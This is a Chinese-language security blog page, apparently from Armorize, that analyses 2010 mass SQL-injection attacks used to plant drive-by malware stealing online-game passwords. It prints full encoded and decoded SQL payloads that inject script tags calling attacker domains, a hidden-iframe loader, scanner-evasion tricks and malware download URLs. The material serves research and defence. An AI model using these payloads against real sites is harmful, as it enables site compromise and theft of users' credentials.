無法查看此摘要。請
按這裡查看文章。
繼續閱讀全文...
2010年8月16日
2010年8月6日
black hat 與 DEF CON 2010 的投影片與程式碼上線了
我們今年在美國駭客年會 black hat 跟 DEF CON 演講的投影片上線了!感謝來聽演講的朋友,謝謝大家的捧場!black hat的演講比較緊張,因為看到台下很多記者,怕會被問一些敏感的問題,所以只好一路把時間用完,然後火速收場。
DEF CON 三場就都講得很開心,我主講的 drivesploit ,是我與同事Antonio Roman Fernandez、Fyodor Yarochkin 還有 Chris Hsiao 一起做的,由我與Roman來講。那場人非常的多,一路排到外面去,大家反應也熱烈。這個題目不是很難,講起來還算輕鬆。
另一場NoSQL,則主要是Kuon做的,由我來講。第三場0Box,則是Birdman與Benson做的,我先回來了,由Benson講。
drivesploit的程式碼在這邊可以下載:http://github.com/waynearmorize/drivesploit
感謝大家的支持!
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (blackhat and DEF CON)
NoSQL, no SQL injections? (DEF CON)
0box Analyzer--Afterdark Runtime Forensics for Automated Malware Analysis and Clustering (DEF CON)
繼續閱讀全文...
DEF CON 三場就都講得很開心,我主講的 drivesploit ,是我與同事Antonio Roman Fernandez、Fyodor Yarochkin 還有 Chris Hsiao 一起做的,由我與Roman來講。那場人非常的多,一路排到外面去,大家反應也熱烈。這個題目不是很難,講起來還算輕鬆。
另一場NoSQL,則主要是Kuon做的,由我來講。第三場0Box,則是Birdman與Benson做的,我先回來了,由Benson講。
drivesploit的程式碼在這邊可以下載:http://github.com/waynearmorize/drivesploit
感謝大家的支持!
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (blackhat and DEF CON)
NoSQL, no SQL injections? (DEF CON)
NoSQL, no SQL injections?
View more presentations from Wane Huang.
0box Analyzer--Afterdark Runtime Forensics for Automated Malware Analysis and Clustering (DEF CON)
繼續閱讀全文...
2010年7月2日
DNF666 大規模SQL掛馬攻擊又來了:4589.in與22dnf.com
(作者:Wayne Huang, Chris Hsiao, Birdman, Wisely Tao, Crane Ku, 以及Armorize其他成員)
在6月13日,我們在blog上講述到 Flash 0day大規模掛馬攻擊研究。根據我們的分析,這一波的攻擊也是由"DNF666"這個團體所發起的。 以下是我們的分析。
前一篇 (查看前一篇blog):
5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知。
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本。
6月11日:2677.in--第二波大規模掛馬攻擊開始。
我們把這個攻擊的團體稱之為 "DNF666",Wall Street Journal 即是被robint.us所打中如同 Jerusalem 所發佈的文章. 而且超過114,000網頁被掛了馬, 而所有的這些主要就是為了散佈惡意程式盜取亞洲線上遊戲的密碼。
而中國、台灣及一些亞洲區的一些網站即是他們鎖定的目標。
以下就是他們最近所做的事:
6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊
相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼
不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249)
4. 鎖定亞洲區以台灣為主的網站
[1.伺服器端]
在這兩個嘗試裡,我們看到了新的探測字串 (thanks to SmartWAF team Wisely and Crane):
這個SQL injection的技巧是他們經常使用的:
4589.in sample:
22dnf.com:
解碼後, 4589.in:
22dnf.com:
沒有發現什麼新的SQL injection攻擊技巧,不過這一次這個團體有:
A. 使用新的探測技巧。
B. 鎖定有弱點的IIS+ASP 及 IIS+ASP.NET 網站。
C. 鎖定亞洲區以台灣為主的網站。
4859.in SQL injections來自IP: 95.211.130.71, 反查指到那個網域: 4859.in,和iamcome.in. iamcome.in 是在上一次的攻擊中被DNF666團體所使用的而這是第一個線索指出這兩個攻擊是跟DNF666團體有關。
22dnf.com SQL injections 來自204.74.216.42這個IP,它是一家位於北京rashost.com所擁有的(DNS: 204-74-216-42.vps.rashost.com). 而這個名為"22dnf"(同樣含有"dnf")為第二個線索指出這一波的掛馬是跟DNF666有所關連的。
這裡是被掛馬的一些網站的搜尋畫面
4589.in:

22dnf.com:

掛馬片段:
4589.in (note in the 上次06/11日2677.in所做的這個js 的檔案名一樣為 "yahoo.js"):
而這是昨天的22dnf.com:
事實上這一波的攻擊手法幾乎跟上次一模一樣,所以很多網站都是被二度入侵的:

[2.使用者端]

讓我們把焦點放在昨天的大規模SQL掛馬攻擊上--22dnf.com。 下面是y.js:
所以"y.js"載入了3個htmls--cc.html, ie.html,及ad.html.其中cc.html載入cnzz.com來當造訪人次的計數器,而ie.html 則針對漏洞 CVE-2010-0806, 而ad.html 則是針對另一個漏洞CVE-2010-0249.
ie.html 結合了一個DOM-based的技巧來規避自動化惡意網頁(drive-by download)偵測機制,就像我們的我們HackAlert.攻擊程序是由DOM物件來觸發:
ad.html 結合了一個類似DOM-based的技巧--這攻擊程序 evl() 是由圖片物件以onload事件來觸發:
而這兩個技巧可以很有效的來打敗,單純以javascript引擎而非DOM來實作的"行為模式"掃瞄引擎 --例如,單純以SpiderMonkey or Rhino的一些實作。
而真正的shellcode是被存放在 ff/a.gif 之中--這是一個常見的技術,能讓攻擊更有彈性,同時也是用來規避偵測為其目的。而這個掛馬攻擊很明顯的是由,掛馬工具CuteQQ / Anhey drive-by 套件所製成, 而這點成為了第三個線索指出這個這攻擊是由DNF666所為。
在漏洞被利用成功之後,它的shellcode會來載入s.exe, 之後自202.109.143.79:81/s.txt遠端讀取下載命令。s.txt的內容如下:
123
http://202.109.143.79:81/ma.exe
所以s.exe 會來下載 ma.exe這支惡意程式。
[3.實際的惡意程式]
在我們的分析結果中這個 ma.exe 惡意程式跟我們上次的分析是一樣的,主要就是要來盜取密碼用的,而它主要所盜取的為以下的線上遊戲:
aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com
[4.結論]
這兩個的攻擊都是由DNF666所發起,而他們至少也牽涉三起先前的大規模SQL掛馬攻擊,這是我們的結論。我們再為這波的攻擊做個重點提要:
相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼
不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249).
4. 鎖定亞洲區以台灣為主的網站
時間表:
5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知。
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本。
6月11日:2677.in--第二波大規模掛馬攻擊開始。
6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊
繼續閱讀全文...
在6月13日,我們在blog上講述到 Flash 0day大規模掛馬攻擊研究。根據我們的分析,這一波的攻擊也是由"DNF666"這個團體所發起的。 以下是我們的分析。
前一篇 (查看前一篇blog):
5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知。
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本。
6月11日:2677.in--第二波大規模掛馬攻擊開始。
我們把這個攻擊的團體稱之為 "DNF666",Wall Street Journal 即是被robint.us所打中如同 Jerusalem 所發佈的文章. 而且超過114,000網頁被掛了馬, 而所有的這些主要就是為了散佈惡意程式盜取亞洲線上遊戲的密碼。
而中國、台灣及一些亞洲區的一些網站即是他們鎖定的目標。
以下就是他們最近所做的事:
6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊
相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼
不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249)
4. 鎖定亞洲區以台灣為主的網站
[1.伺服器端]
在這兩個嘗試裡,我們看到了新的探測字串 (thanks to SmartWAF team Wisely and Crane):
' aND '8'='8
' aND '8'='3
'/**/aND/**/'8'='8
'/**/aND/**/'8'='3
%' aND '8%'='8
%' aND '8%'='3
%' aND '8'='8
%' aND '8%'='3
%'/**/aND/**/'8'='8
%'/**/aND/**/'8%'='3
' XoR '8'='3
' XoR '8'='8
' XoR '8'='3
' XoR '8'='8
'/**/XoR/**/'8'='3
'/**/XoR/**/'8'='8
這個SQL injection的技巧是他們經常使用的:
4589.in sample:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463334333533383339324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B6520272725343538392E696E2527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
22dnf.com:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
解碼後, 4589.in:
get /default.aspx?imgbtnlogin=1;declare @s varchar(8000) set @sdeclare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f343538392e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%4589.in%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;-- exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
22dnf.com:
get /default.aspx?imgbtnlogin=1;declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f3232646e662e63 6f6d2f66662f792e6a733e3c2f7363726970743e as varchar(51)) where ['+@c+'] not like ''%22dnf%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
沒有發現什麼新的SQL injection攻擊技巧,不過這一次這個團體有:
A. 使用新的探測技巧。
B. 鎖定有弱點的IIS+ASP 及 IIS+ASP.NET 網站。
C. 鎖定亞洲區以台灣為主的網站。
4859.in SQL injections來自IP: 95.211.130.71, 反查指到那個網域: 4859.in,和iamcome.in. iamcome.in 是在上一次的攻擊中被DNF666團體所使用的而這是第一個線索指出這兩個攻擊是跟DNF666團體有關。
22dnf.com SQL injections 來自204.74.216.42這個IP,它是一家位於北京rashost.com所擁有的(DNS: 204-74-216-42.vps.rashost.com). 而這個名為"22dnf"(同樣含有"dnf")為第二個線索指出這一波的掛馬是跟DNF666有所關連的。
這裡是被掛馬的一些網站的搜尋畫面
4589.in:

22dnf.com:

掛馬片段:
4589.in (note in the 上次06/11日2677.in所做的這個js 的檔案名一樣為 "yahoo.js"):
<script src=http://4589.in/yahoo.js></script>
而這是昨天的22dnf.com:
<script src=http://22dnf.com/ff/y.js></script>
事實上這一波的攻擊手法幾乎跟上次一模一樣,所以很多網站都是被二度入侵的:

[2.使用者端]

讓我們把焦點放在昨天的大規模SQL掛馬攻擊上--22dnf.com。 下面是y.js:
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://22dnf.com/ff/cc.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ie.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ad.html width=0 height=0></iframe>");}
所以"y.js"載入了3個htmls--cc.html, ie.html,及ad.html.其中cc.html載入cnzz.com來當造訪人次的計數器,而ie.html 則針對漏洞 CVE-2010-0806, 而ad.html 則是針對另一個漏洞CVE-2010-0249.
ie.html 結合了一個DOM-based的技巧來規避自動化惡意網頁(drive-by download)偵測機制,就像我們的我們HackAlert.攻擊程序是由DOM物件來觸發:
<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
...
document.getElementById("bo").onclick();
ad.html 結合了一個類似DOM-based的技巧--這攻擊程序 evl() 是由圖片物件以onload事件來觸發:
<img src="XIGUA.GIF" onload="ev1(event)">
而這兩個技巧可以很有效的來打敗,單純以javascript引擎而非DOM來實作的"行為模式"掃瞄引擎 --例如,單純以SpiderMonkey or Rhino的一些實作。
而真正的shellcode是被存放在 ff/a.gif 之中--這是一個常見的技術,能讓攻擊更有彈性,同時也是用來規避偵測為其目的。而這個掛馬攻擊很明顯的是由,掛馬工具CuteQQ / Anhey drive-by 套件所製成, 而這點成為了第三個線索指出這個這攻擊是由DNF666所為。
在漏洞被利用成功之後,它的shellcode會來載入s.exe, 之後自202.109.143.79:81/s.txt遠端讀取下載命令。s.txt的內容如下:
123
http://202.109.143.79:81/ma.exe
所以s.exe 會來下載 ma.exe這支惡意程式。
[3.實際的惡意程式]
在我們的分析結果中這個 ma.exe 惡意程式跟我們上次的分析是一樣的,主要就是要來盜取密碼用的,而它主要所盜取的為以下的線上遊戲:
aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com
[4.結論]
這兩個的攻擊都是由DNF666所發起,而他們至少也牽涉三起先前的大規模SQL掛馬攻擊,這是我們的結論。我們再為這波的攻擊做個重點提要:
相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼
不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249).
4. 鎖定亞洲區以台灣為主的網站
時間表:
5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知。
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本。
6月11日:2677.in--第二波大規模掛馬攻擊開始。
6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊
繼續閱讀全文...
2010年6月17日
Flash 0day 大規模掛馬攻擊研究:robint.us與2677.in
(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)(英文版在這裡)
最近讀了一些媒體對於此次 Adobe Flash 0day (現在已經不是0day了 ) (CVE-2010-1297) 大規模SQL injection掛馬--robint.us與2677.in的報導,覺得都沒有寫到重點,所以在這邊分享我們的報告。
伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。
使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。
整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。
以下是完整報告。
[0. 背景]
6月04日:Adobe 發佈弱點通知。
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本。
6月11日:2677.in--第二波大規模掛馬攻擊開始。
[1. 伺服器端]
以下是一些攻擊前的測探(感謝SmartWAF team提供):
沒什麼特別。以下則是實際的GET request:
Sample 1:
Sample 2:
由於攻擊是針對ASP.NET,我們注意到GET後面有加:_viewstate=ddwxmzk4nt。這對繞過某些WAF有幫助。
上面的code解碼後變成:
轉換成小寫比較容易讀:
以上並沒太大特別之處,從2008年初開始的大規模掛馬攻擊,SQL注入手法大致都是如上。
我們研究30個被感染的網站,如預期,感染的網站都是IIS與ASP.NET。

[2. 使用者端]
下面是受感染網頁的取樣:
yahoo.js是我們所謂的「entry snippet」,也就是受感染的源頭。接下來攻擊觸發之流程為:

以下我們描述細部過程。
1. http://2677.in/yahoo.js 動態產生兩個iframe,連向: http://2677.in/cnzz.html (網站流量統計服務 counter) and http://2677.in/ie.htm (flash 攻擊程式 exploit)
2. http://2677.in/cnzz.html 使用免費流量統計服務 cnzz.com 來觀察感染趨勢。
在我們的流程圖中,我們將這個標示成"trick 1",因為這個技巧(trick)可以躲過某些自動化行為偵測工具,也就是只有實做javascript引擎而沒有實做DOM的自動化行為偵測工具。換言之,如果單純使用SpiderMonkey或Rhino,沒有加其他機制,或補強,那麼這個技巧就很可能可以多過偵測。
4. 這個DOM物件被<div id=sun>ie.html中的javascript利用eval()執行,然後向log.txt中取的攻擊用的shellcode。
在我們的流程圖中,我們將這個標示成"trick 2",因為這招對於某些自動化行為偵測工具有下。工具如果沒有實做完整的瀏覽器環境,那麼就無法向外取的log.txt中的shellcode。另一方面,這也讓該掛馬架構多些彈性:改shellcode不需改binary。
5. http://2677.in/ie.html中內嵌了flash(swf)的攻擊程式anhey.swf(CVE-2010-1297)
就這樣子了。ie.html中的javascript執行heap spray,並將經由log.txt取得的shellcode放入記憶體中,然後再經由anhey.swf來觸發攻擊。
看到這些手法,,還有"anhey.swf"這個檔名(robint.us / 2677.in 兩波攻擊都是此檔名),很多人應該已經猜出掛馬產生的工具了。
第一波robint.us攻擊中有以下程式碼:
這裡有第二個關鍵字:"cuteqq"。
CuteQQ與Anhey是同一家公司,兩個網址都對應到同一個網站,專門賣產生掛馬的工具:

我們看以下畫面。這個工具可以讓攻擊者填入要使用的網頁流量統計網頁(這次用的是cnzz.com)。同時,也支援"flash 10 0day"。中間則可以選一些躲避偵測的技術。

6. http://2677.in/anhey.swf 攻擊Adobe flash 的CVE-2010-1297,並於受害者機器中產生(drop)http://2677.in/log.exe
7. http://2677.in/log.exe的行為如下:
Behavior: DLL-Injection (Target: rundll32.exe) functions.
Modules
Base=10000000 Size=00003000 rundll32.exe
Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp
讀取: http://d.iamcome.in/u.txt,內容:
8. 根據u.txt中的指令,log.exe下載惡意程式http://d.iamcome.in/ma.exe,ma.exe行為如下:
Behavior: DLL-Injection (Target: explorer.exe) functions.
Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe
Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos
ma.exe偷以下的線上遊戲帳號:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com
[3. 結論]
伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。
使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。
整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。
[4. 相關報導]
ThreatPost: SQL Injection Attacks Aimed at Stealing Gaming Credentials, Experts Say
InformatinWeek: SQL Injection Attacks Return
H-Online: Mass website hack aimed at online gamers
Host Exploit: SQL Injection Attacks Return
[5. 附錄]
1. HackAlert V3 forensics query dump
2. Parts of anhey.swf:
(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)
繼續閱讀全文...
最近讀了一些媒體對於此次 Adobe Flash 0day (現在已經不是0day了 ) (CVE-2010-1297) 大規模SQL injection掛馬--robint.us與2677.in的報導,覺得都沒有寫到重點,所以在這邊分享我們的報告。
伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。
使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。
整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。
以下是完整報告。
[0. 背景]
6月04日:Adobe 發佈弱點通知。
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本。
6月11日:2677.in--第二波大規模掛馬攻擊開始。
[1. 伺服器端]
以下是一些攻擊前的測探(感謝SmartWAF team提供):
' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='
沒什麼特別。以下則是實際的GET request:
Sample 1:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Sample 2:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
由於攻擊是針對ASP.NET,我們注意到GET後面有加:_viewstate=ddwxmzk4nt。這對繞過某些WAF有幫助。
上面的code解碼後變成:
dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
轉換成小寫比較容易讀:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--
